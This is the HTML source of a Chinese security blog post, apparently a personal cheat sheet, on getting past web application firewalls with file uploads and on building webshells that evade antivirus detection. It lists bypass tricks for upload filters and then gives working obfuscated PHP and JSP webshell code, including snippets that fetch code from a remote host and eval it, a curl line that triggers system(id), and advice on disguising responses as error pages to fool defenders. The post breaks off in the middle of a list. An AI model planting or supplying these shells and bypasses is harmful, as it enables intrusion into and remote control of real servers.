<!DOCTYPE html>
<html lang=zh>
<head>
    <!-- so meta -->
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="HandheldFriendly" content="True">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
    <meta name="description" content="加密文章，仅自用">
<meta property="og:type" content="article">
<meta property="og:title" content="[WAF绕过]文件上传和Webshell免杀篇">
<meta property="og:url" content="https://github.com/TonyD0g/2022/01/05/WAF%E7%BB%95%E8%BF%87%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%92%8CWebshell%E5%85%8D%E6%9D%80%E7%AF%87/index.html">
<meta property="og:site_name" content="TonyD0g">
<meta property="og:description" content="加密文章，仅自用">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://s1.ax1x.com/2022/04/27/LqPuQA.png">
<meta property="article:published_time" content="2022-01-05T07:20:41.000Z">
<meta property="article:modified_time" content="2023-07-20T07:36:11.204Z">
<meta property="article:author" content="TonyD0g">
<meta property="article:tag" content="WAF绕过">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://s1.ax1x.com/2022/04/27/LqPuQA.png">
    
    
        
          
              <link rel="shortcut icon" href="/images/favicon.ico">
          
        
        
          
            <link rel="icon" type="image/png" href="/images/favicon-192x192.png" sizes="192x192">
          
        
        
          
            <link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon.png">
          
        
    
    <!-- title -->
    <title>[WAF绕过]文件上传和Webshell免杀篇</title>
    <!-- styles -->
    
<link rel="stylesheet" href="/css/style.css">

    <!-- persian styles -->
    
      
<link rel="stylesheet" href="/css/rtl.css">

    
    <!-- rss -->
    
    
<meta name="generator" content="Hexo 4.2.1"></head>

<body class="max-width mx-auto px3 ltr">
    
      <div id="header-post">
  <a id="menu-icon" href="#"><i class="fas fa-bars fa-lg"></i></a>
  <a id="menu-icon-tablet" href="#"><i class="fas fa-bars fa-lg"></i></a>
  <a id="top-icon-tablet" href="#" onclick="$('html, body').animate({ scrollTop: 0 }, 'fast');" style="display:none;"><i class="fas fa-chevron-up fa-lg"></i></a>
  <span id="menu">
    <span id="nav">
      <ul>
         
          <li><a href="/">首页</a></li>
         
          <li><a href="/about/">关于</a></li>
         
          <li><a href="/tags/">标签</a></li>
         
          <li><a href="/friends/">friends</a></li>
         
          <li><a href="/archives/">归档</a></li>
         
          <li><a href="https://github.com/TonyD0g">项目</a></li>
         
          <li><a href="/search/">搜索</a></li>
        
      </ul>
    </span>
    <br/>
    <span id="actions">
      <ul>
        
        <li><a class="icon" href="/2022/01/05/%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E7%BB%95%E8%BF%87%E6%80%BB%E7%BB%93/"><i class="fas fa-chevron-left" aria-hidden="true" onmouseover="$('#i-prev').toggle();" onmouseout="$('#i-prev').toggle();"></i></a></li>
        
        
        <li><a class="icon" href="#" onclick="$('html, body').animate({ scrollTop: 0 }, 'fast');"><i class="fas fa-chevron-up" aria-hidden="true" onmouseover="$('#i-top').toggle();" onmouseout="$('#i-top').toggle();"></i></a></li>
        <li><a class="icon" href="#"><i class="fas fa-share-alt" aria-hidden="true" onmouseover="$('#i-share').toggle();" onmouseout="$('#i-share').toggle();" onclick="$('#share').toggle();return false;"></i></a></li>
      </ul>
      <span id="i-prev" class="info" style="display:none;">上一篇</span>
      <span id="i-next" class="info" style="display:none;">下一篇</span>
      <span id="i-top" class="info" style="display:none;">返回顶部</span>
      <span id="i-share" class="info" style="display:none;">分享文章</span>
    </span>
    <br/>
    <div id="share" style="display: none">
      <ul>
  <li><a class="icon" href="http://www.facebook.com/sharer.php?u=https://github.com/TonyD0g/2022/01/05/WAF%E7%BB%95%E8%BF%87%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%92%8CWebshell%E5%85%8D%E6%9D%80%E7%AF%87/" target="_blank" rel="noopener"><i class="fab fa-facebook " aria-hidden="true"></i></a></li>
  <li><a class="icon" href="https://twitter.com/share?url=https://github.com/TonyD0g/2022/01/05/WAF%E7%BB%95%E8%BF%87%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%92%8CWebshell%E5%85%8D%E6%9D%80%E7%AF%87/&text=[WAF绕过]文件上传和Webshell免杀篇" target="_blank" rel="noopener"><i class="fab fa-twitter " aria-hidden="true"></i></a></li>
  <li><a class="icon" href="http://www.linkedin.com/shareArticle?url=https://github.com/TonyD0g/2022/01/05/WAF%E7%BB%95%E8%BF%87%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%92%8CWebshell%E5%85%8D%E6%9D%80%E7%AF%87/&title=[WAF绕过]文件上传和Webshell免杀篇" target="_blank" rel="noopener"><i class="fab fa-linkedin " aria-hidden="true"></i></a></li>
  <li><a class="icon" href="https://pinterest.com/pin/create/bookmarklet/?url=https://github.com/TonyD0g/2022/01/05/WAF%E7%BB%95%E8%BF%87%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%92%8CWebshell%E5%85%8D%E6%9D%80%E7%AF%87/&is_video=false&description=[WAF绕过]文件上传和Webshell免杀篇" target="_blank" rel="noopener"><i class="fab fa-pinterest " aria-hidden="true"></i></a></li>
  <li><a class="icon" href="mailto:?subject=[WAF绕过]文件上传和Webshell免杀篇&body=Check out this article: https://github.com/TonyD0g/2022/01/05/WAF%E7%BB%95%E8%BF%87%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%92%8CWebshell%E5%85%8D%E6%9D%80%E7%AF%87/"><i class="fas fa-envelope " aria-hidden="true"></i></a></li>
  <li><a class="icon" href="https://getpocket.com/save?url=https://github.com/TonyD0g/2022/01/05/WAF%E7%BB%95%E8%BF%87%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%92%8CWebshell%E5%85%8D%E6%9D%80%E7%AF%87/&title=[WAF绕过]文件上传和Webshell免杀篇" target="_blank" rel="noopener"><i class="fab fa-get-pocket " aria-hidden="true"></i></a></li>
  <li><a class="icon" href="http://reddit.com/submit?url=https://github.com/TonyD0g/2022/01/05/WAF%E7%BB%95%E8%BF%87%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%92%8CWebshell%E5%85%8D%E6%9D%80%E7%AF%87/&title=[WAF绕过]文件上传和Webshell免杀篇" target="_blank" rel="noopener"><i class="fab fa-reddit " aria-hidden="true"></i></a></li>
  <li><a class="icon" href="http://www.stumbleupon.com/submit?url=https://github.com/TonyD0g/2022/01/05/WAF%E7%BB%95%E8%BF%87%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%92%8CWebshell%E5%85%8D%E6%9D%80%E7%AF%87/&title=[WAF绕过]文件上传和Webshell免杀篇" target="_blank" rel="noopener"><i class="fab fa-stumbleupon " aria-hidden="true"></i></a></li>
  <li><a class="icon" href="http://digg.com/submit?url=https://github.com/TonyD0g/2022/01/05/WAF%E7%BB%95%E8%BF%87%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%92%8CWebshell%E5%85%8D%E6%9D%80%E7%AF%87/&title=[WAF绕过]文件上传和Webshell免杀篇" target="_blank" rel="noopener"><i class="fab fa-digg " aria-hidden="true"></i></a></li>
  <li><a class="icon" href="http://www.tumblr.com/share/link?url=https://github.com/TonyD0g/2022/01/05/WAF%E7%BB%95%E8%BF%87%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%92%8CWebshell%E5%85%8D%E6%9D%80%E7%AF%87/&name=[WAF绕过]文件上传和Webshell免杀篇&description=&lt;p&gt;加密文章，仅自用&lt;/p&gt;" target="_blank" rel="noopener"><i class="fab fa-tumblr " aria-hidden="true"></i></a></li>
  <li><a class="icon" href="https://news.ycombinator.com/submitlink?u=https://github.com/TonyD0g/2022/01/05/WAF%E7%BB%95%E8%BF%87%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%92%8CWebshell%E5%85%8D%E6%9D%80%E7%AF%87/&t=[WAF绕过]文件上传和Webshell免杀篇" target="_blank" rel="noopener"><i class="fab fa-hacker-news " aria-hidden="true"></i></a></li>
</ul>

    </div>
    <div id="toc">
      <ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#后缀绕过"><span class="toc-number">1.</span> <span class="toc-text">后缀绕过</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#内容绕过-免杀"><span class="toc-number">2.</span> <span class="toc-text">内容绕过(免杀)</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#流量绕过"><span class="toc-number">3.</span> <span class="toc-text">流量绕过</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#tips"><span class="toc-number">4.</span> <span class="toc-text">tips</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#文件上传一图总结"><span class="toc-number">5.</span> <span class="toc-text">文件上传一图总结</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#友链-随笔-学习来源"><span class="toc-number">6.</span> <span class="toc-text">友链&#x2F;随笔&#x2F;学习来源</span></a></li></ol>
    </div>
  </span>
</div>

    
    <div class="content index py4">
        
        <article class="post" itemscope itemtype="http://schema.org/BlogPosting">
  <header>
    
    <h1 class="posttitle" itemprop="name headline">
        [WAF绕过]文件上传和Webshell免杀篇
    </h1>



    <div class="meta">
      <span class="author" itemprop="author" itemscope itemtype="http://schema.org/Person">
        <span itemprop="name">TonyD0g</span>
      </span>
      
    <div class="postdate">
      
        <time datetime="2022-01-05T07:20:41.000Z" itemprop="datePublished">2022-01-05</time>
        
        (Updated: <time datetime="2023-07-20T07:36:11.204Z" itemprop="dateModified">2023-07-20</time>)
        
      
    </div>


      

      
    <div class="article-tag">
        <i class="fas fa-tag"></i>
        <a class="tag-link" href="/tags/WAF%E7%BB%95%E8%BF%87/" rel="tag">WAF绕过</a>
    </div>


    </div>
  </header>
  

  <div class="content" itemprop="articleBody">
    <p>加密文章，仅自用</p>
<span id="more"></span>

<p>只是简单的将个人遇到的文件上传绕过tips整合在一起，方便个人使用，后续遇到新的绕过会添加进来。从上到下依次试试，某一关卡住了直接寄<br>(总共三关,分别是后缀，内容，流量)。</p>
<hr>
<p><strong>全局关键字</strong>:</p>
<p><code>黑体</code>为可查看详情,<code>(未学习)</code>为字面意思</p>
<h1 id="后缀绕过"><a href="#后缀绕过" class="headerlink" title="后缀绕过"></a>后缀绕过</h1><ol>
<li>   修改前端js绕过 </li>
<li>   content-type绕过</li>
<li>   模糊关键字绕过,比如: <code>php3,phtml</code></li>
<li>   大小写&#x2F;双写混合绕过</li>
<li>   后缀名最后加<code>空格</code> 或  <code>.</code> 或  <code>::$DATA</code>绕过</li>
<li>   <strong>Apache解析漏洞弱匹配</strong></li>
<li>   Get方式<code>%00</code>截断 , Post方式<code>%00</code>截断[即需要在进制编辑器中添加%00]</li>
<li>   <strong>{boundary} boundary魔改</strong> </li>
<li>   <strong>{body} body魔改</strong></li>
<li>   {PHP} 上传配置文件<code>.user.ini</code>进行绕过 </li>
<li>   {PHP} 上传<code>.htaccess</code>绕过</li>
<li>   <strong>{JSP} Tomcat 环境下的bypass</strong></li>
<li>   <a href="https://github.com/c0ny1/chunked-coding-converter">分块传输:chunk</a>， <a href="https://xz.aliyun.com/t/10278https://github.com/c0ny1/chunked-coding-converter" target="_blank" rel="noopener">文章指路（含插件）</a></li>
<li>   session文件包含		(需要文件包含漏洞)</li>
<li>   日志文件包含		     (需要文件包含漏洞)</li>
<li>   图片马绕过		         (需要文件包含漏洞)</li>
<li>   条件竞争上传             (被ban的概率极高)</li>
</ol>
<h1 id="内容绕过-免杀"><a href="#内容绕过-免杀" class="headerlink" title="内容绕过(免杀)"></a>内容绕过(免杀)</h1><ol>
<li>   图片头GIF89a绕过</li>
<li>   <strong>{PHP} 绕过PHP标签检测</strong></li>
<li>   {PHP} png&#x2F;jpg 二次渲染绕过		         (需要文件包含漏洞)</li>
<li>   <strong>文件图片头检测绕过</strong></li>
<li>   <strong>{JSP} 绕过 JSP 标记检测</strong></li>
<li>   **HTTP数据包压缩&#x2F;编码,<a href="https://xz.aliyun.com/t/10278" target="_blank" rel="noopener">文章指路</a> **</li>
<li>   <strong>检测差异性绕过</strong></li>
<li>   <strong>绕过编码</strong></li>
<li>   <strong>免杀tips(PHP篇,JSP篇,ASPX篇)</strong></li>
<li>   <strong>Tomcat环境下的解析特性</strong></li>
</ol>
<h1 id="流量绕过"><a href="#流量绕过" class="headerlink" title="流量绕过"></a>流量绕过</h1><ol>
<li>   <strong>{JSP} 编码或加密绕过waf写入shell</strong></li>
<li>   <strong>自定义加解密bypass</strong></li>
<li>   <a href="https://www.iana.org/assignments/character-sets/character-sets.xhtml" target="_blank" rel="noopener">HTTP协议允许的编码(待开发)</a></li>
<li>   <a href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP" target="_blank" rel="noopener">HTTP协议详解</a></li>
</ol>
<h1 id="tips"><a href="#tips" class="headerlink" title="tips"></a>tips</h1><ol>
<li><p><strong>{JSP} 获取网站路径</strong></p>
</li>
<li><p>{PHP} fopen大法,用注释混淆</p>
</li>
<li><p><strong>UEditor编辑器过滤<code>?</code>号的利用</strong></p>
</li>
<li><p><strong>常用扩展名</strong></p>
<hr>
<hr>
</li>
</ol>
<ul>
<li><p><strong>检测差异性绕过</strong></p>
<p>a. 利用$_SERVER从外部获取值</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="title function_ invoke__">sort</span>(<span class="variable">$_SERVER</span>);</span><br><span class="line"><span class="title function_ invoke__">assert</span>(<span class="variable">$_SERVER</span>[<span class="number">26</span>]);</span><br></pre></td></tr></table></figure>

<p>​	</p>
<p>b. 利用getenv(“QUERY_STRING”)从外部获取值从外部获取值</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$a</span> = <span class="title function_ invoke__">getenv</span>(<span class="string">&quot;QUERY_STRING&quot;</span>);</span><br><span class="line"><span class="title function_ invoke__">preg_filter</span>(<span class="string">&#x27;|.*|e&#x27;</span>, <span class="variable">$a</span>, <span class="string">&#x27;&#x27;</span>);</span><br><span class="line"><span class="meta">?&gt;</span></span><br><span class="line">    </span><br><span class="line"><span class="comment">// 利用方法：</span></span><br><span class="line"><span class="comment">// curl &quot;http://192.168.110.134:8888/56.php?system(id);&quot;    </span></span><br></pre></td></tr></table></figure>



<p>c. 利用$GLOBALS从外部获取值从外部获取</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="title function_ invoke__">assert</span>(<span class="variable">$GLOBALS</span>&#123;GLOBALS&#125;=<span class="title function_ invoke__">pos</span>(<span class="variable">$GLOBALS</span>)[<span class="number">0</span>]);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>



<p>d. 利用get_defined_functions()[‘internal’]从外部获取值从外部获取值</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$arr</span> = <span class="title function_ invoke__">get_defined_functions</span>()[<span class="string">&#x27;internal&#x27;</span>];</span><br><span class="line"><span class="variable">$arr</span>[<span class="number">809</span>](<span class="variable">$_POST</span>[<span class="number">1</span>]);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 不同的环境中assert所处的数组位置不同，检测环境中$arr[809]获取到的值可能便不是assert，从而绕过了检测</span></span><br></pre></td></tr></table></figure>



<p>e. 利用create_function创造的匿名函数绕过</p>
<p>（cli和web多次创建函数时lambda后面的数字区别）</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">reg</span>(<span class="params"><span class="variable">$asdasdsada</span>,<span class="variable">$bbbb</span></span>)</span>&#123;</span><br><span class="line"><span class="title function_ invoke__">call_user_func</span>(<span class="variable">$aaaa</span>,<span class="variable">$bbbb</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_ invoke__">create_function</span>(<span class="string">&#x27;$a,$b&#x27;</span>,<span class="string">&#x27;call_user_func($a,$b);&#x27;</span>);</span><br><span class="line"><span class="variable">$i</span> = <span class="number">1</span>;</span><br><span class="line"><span class="variable">$flag1</span> = <span class="number">0</span>;</span><br><span class="line"><span class="variable">$flag2</span> = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">while</span>(<span class="number">1</span>)&#123;</span><br><span class="line"><span class="keyword">if</span>(<span class="title function_ invoke__">function_exists</span>(<span class="title function_ invoke__">urldecode</span>(<span class="string">&#x27;%00lambda_&#x27;</span>.(<span class="variable">$i</span>))))&#123;</span><br><span class="line"><span class="variable">$flag2</span>=<span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span>(!<span class="title function_ invoke__">function_exists</span>(<span class="title function_ invoke__">urldecode</span>(<span class="string">&#x27;%00lambda_&#x27;</span>.(<span class="variable">$i</span>)))&amp;&amp;<span class="variable">$flag2</span>)&#123;</span><br><span class="line"><span class="variable">$flag</span>=<span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span>(<span class="variable">$flag</span>)&#123;</span><br><span class="line"><span class="title function_ invoke__">register_shutdown_function</span>(<span class="title function_ invoke__">urldecode</span>(<span class="string">&#x27;%00lambda_&#x27;</span>.(<span class="variable">$i</span>-<span class="number">1</span>)),<span class="variable">$_GET</span>[b],<span class="variable">$_GET</span>[a]);</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$i</span>++;</span><br><span class="line">&#125;</span><br><span class="line">@<span class="title function_ invoke__">sadas</span>();</span><br></pre></td></tr></table></figure>

<p>f. 利用php_sapi_name来绕过 </p>
<p>(同样是cli和web环境的函数返回值差异)</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">asdasdassadasdArray</span>(<span class="params"><span class="variable">$asdassdsada</span>,<span class="variable">$bbbb</span></span>)</span>&#123;</span><br><span class="line"><span class="title function_ invoke__">call_user_func</span>(<span class="variable">$asdassdsada</span>,<span class="variable">$bbbb</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span>(<span class="title function_ invoke__">php_sapi_name</span>()==<span class="string">&quot;cli&quot;</span>)&#123;</span><br><span class="line"><span class="variable">$findstr</span> = <span class="string">&quot;Arra&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span>(<span class="title function_ invoke__">php_sapi_name</span>()!=<span class="string">&quot;cli&quot;</span>)&#123;</span><br><span class="line"><span class="variable">$findstr</span> = <span class="string">&quot;Array&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$str2</span> = <span class="string">&quot;asdqwerjqdkgjsjlghfjrewharrayAuqwiabvsystemckljavnma,vnbbndsambfdas,mnfbm&quot;</span>;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getstr</span>(<span class="params"><span class="variable">$findstr</span>,<span class="variable">$str2</span></span>)</span>&#123;</span><br><span class="line"><span class="variable">$target</span> = <span class="string">&quot;&quot;</span>;</span><br><span class="line"><span class="keyword">for</span>(<span class="variable">$y</span>=<span class="number">0</span>;<span class="variable">$y</span>&lt;<span class="title function_ invoke__">strlen</span>(<span class="variable">$findstr</span>);<span class="variable">$y</span>++)&#123;</span><br><span class="line"><span class="variable">$target</span>.=<span class="variable">$str2</span>[<span class="title function_ invoke__">strpos</span>(<span class="variable">$str2</span>,<span class="variable">$findstr</span>[<span class="variable">$y</span>])];</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="variable">$target</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$target1</span> = <span class="title function_ invoke__">getstr</span>(<span class="variable">$findstr</span>,<span class="variable">$str2</span>);</span><br><span class="line">¥<span class="title function_ invoke__">register_shutdown_function</span>(<span class="string">&quot;asdasdassadasd&quot;</span>.<span class="variable">$target1</span>,<span class="variable">$_GET</span>[a],<span class="variable">$_GET</span>[b]);</span><br><span class="line">@<span class="title function_ invoke__">saddsad</span>();</span><br></pre></td></tr></table></figure>

<p>g. curl引入参数</p>
<figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">$url=&quot;http://x/1.txt&quot;;</span><br><span class="line">$ch = curl<span class="emphasis">_init();</span></span><br><span class="line"><span class="emphasis">curl_</span>setopt($ch, CURLOPT<span class="emphasis">_URL, $url);</span></span><br><span class="line"><span class="emphasis">curl_</span>setopt($ch, CURLOPT<span class="emphasis">_SSL_</span>VERIFYPEER, FALSE);</span><br><span class="line">curl<span class="emphasis">_setopt($ch, CURLOPT_</span>SSL<span class="emphasis">_VERIFYHOST, FALSE);</span></span><br><span class="line"><span class="emphasis">curl_</span>setopt($ch, CURLOPT<span class="emphasis">_RETURNTRANSFER, 1);</span></span><br><span class="line"><span class="emphasis">curl_</span>setopt($ch,CURLOPT<span class="emphasis">_HTTPHEADER,$headerArray);</span></span><br><span class="line"><span class="emphasis">$output = curl_</span>exec($ch);</span><br><span class="line">curl<span class="emphasis">_close($ch);</span></span><br><span class="line"><span class="emphasis">echo $output;</span></span><br><span class="line"><span class="emphasis">eval($output);</span></span><br></pre></td></tr></table></figure>

<p>h. get_meta_tags引入参数</p>
<figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">get<span class="emphasis">_meta_</span>tags(&quot;http://x/1&quot;)[<span class="string">&quot;author&quot;</span>](<span class="link">get_meta_tags(&quot;http://x/1&quot;</span>)[<span class="string">&quot;</span></span><br><span class="line"><span class="string">keywords&quot;</span>]);</span><br><span class="line">?&gt;</span><br><span class="line"></span><br><span class="line">此时，目标服务器上需要有相应的文件配合：</span><br><span class="line"><span class="language-xml"><span class="tag">&lt;<span class="name">meta</span> <span class="attr">name</span>=<span class="string">&quot;author&quot;</span> <span class="attr">content</span>=<span class="string">&quot;system&quot;</span>&gt;</span></span></span><br><span class="line"><span class="language-xml"><span class="tag">&lt;<span class="name">meta</span> <span class="attr">name</span>=<span class="string">&quot;keywords&quot;</span> <span class="attr">content</span>=<span class="string">&quot;ls&quot;</span>&gt;</span></span></span><br><span class="line"></span><br><span class="line">通过动态修改该文件第二行的内容，可以给 system 传入不同的参数，参数内容是完全可控的。</span><br></pre></td></tr></table></figure>

<p>i. fpm_get_status 引入参数</p>
<figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"> php-fpm 架构:</span><br><span class="line">&lt;?php</span><br><span class="line">foreach(fpm<span class="emphasis">_get_</span>status()[&quot;procs&quot;] as $val)&#123;</span><br><span class="line">system($val[&quot;query-string&quot;]);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>j. 递归 S GLOBALS 引入参数</p>
<figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">$m=($GLOBALS[<span class="string">GLOBALS</span>]<span class="emphasis">*n[<span class="string">GLOBALS</span>][<span class="symbol">GLOBALS</span>][<span class="string">GLOBALS</span>][<span class="symbol">GLOBALS</span>][<span class="string">GLOBALS</span></span></span><br><span class="line"><span class="string"><span class="emphasis"></span>][<span class="symbol">_GET</span>][<span class="string">b</span>]);</span></span><br><span class="line"><span class="emphasis">substr(timezone_version_get(),2)($m);</span></span><br><span class="line"><span class="emphasis"></span></span><br><span class="line"><span class="emphasis"> timezone_version_get()在给定的测试环境中返回的值恰好是：0.system</span></span><br></pre></td></tr></table></figure>


</li>
<li><p><strong>免杀tips(PHP篇,JSP篇,ASPX篇)</strong></p>
<p><strong>综合思想：疯狂嵌套，控制流平坦化，多重字符串混淆,全部变量进行随机重命名 和 异或，函数重写</strong></p>
<hr>
<p>**JSP,JSPX思想: **</p>
<p><strong>1.寻找Java的底层实现类和上层包装类</strong></p>
<p>**2.反射属性:(未学习) **</p>
<p>​	<strong>2-1 硬编码类成员</strong></p>
<p>​	<strong>2-2 属性的值来自于其他函数</strong></p>
<p>​	<strong>2-3 无需反射</strong></p>
<p><strong>3.基于GET请求的webshell</strong></p>
<figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">POST一般被杀烂了，所以建议用GET方式</span><br><span class="line">将payload放进header中，如method,UA,cookie</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p><strong>4.返回包伪装</strong></p>
<figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">伪装成各种报错页面,进而欺骗蓝队</span><br></pre></td></tr></table></figure>



<p>​	</p>
<p>2-3 无需反射</p>
<figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">示例1:</span><br><span class="line">&lt;%</span><br><span class="line">JARSoundbankReader reader = new JARSoundbankReader();</span><br><span class="line">URL url = new URL(&quot;http://xx.xx.xx.xx/&quot;);</span><br><span class="line">reader.getSoundbank(url);</span><br><span class="line">%&gt;</span><br><span class="line"></span><br><span class="line">• 判断首页是否是一个ZIP文件</span><br><span class="line">• 获取目录下META-INF/services/javax.sound.midi.Soundbank</span><br><span class="line">• 读取文件，获取全限定类名</span><br><span class="line">• 将URL添加到创建的URLClassLoader中，查找类名并进行实例化</span><br><span class="line"></span><br><span class="line">示例2:</span><br><span class="line">&lt;%</span><br><span class="line">JndiLoginModule module = new JndiLoginModule();</span><br><span class="line">Map<span class="language-xml">&lt;String, String&gt;</span> map = new HashMap&lt;&gt;();</span><br><span class="line">map.put(module.USER<span class="emphasis">_PROVIDER, request.getParameter(&quot;provider&quot;));</span></span><br><span class="line"><span class="emphasis">map.put(module.GROUP_</span>PROVIDER, &quot;group&quot;);</span><br><span class="line">JAASRealm realm = new JAASRealm();</span><br><span class="line">realm.setContainer(new StandardContext());</span><br><span class="line">module.initialize(null, new JAASCallbackHandler(realm, &quot;user&quot;,</span><br><span class="line">&quot;pass&quot;), null, map);</span><br><span class="line">module.login();</span><br><span class="line">%&gt;</span><br><span class="line"></span><br><span class="line">利用链:</span><br><span class="line">• com.sun.security.auth.module.JndiLoginModule#login</span><br><span class="line">• com.sun.security.auth.module.JndiLoginModule#attemptAuthentication</span><br><span class="line">• javax.naming.InitialContext#lookup</span><br></pre></td></tr></table></figure>







<p><strong>一、PHP篇</strong></p>
<p>a. 使用<code>foreach</code>去接收参数</p>
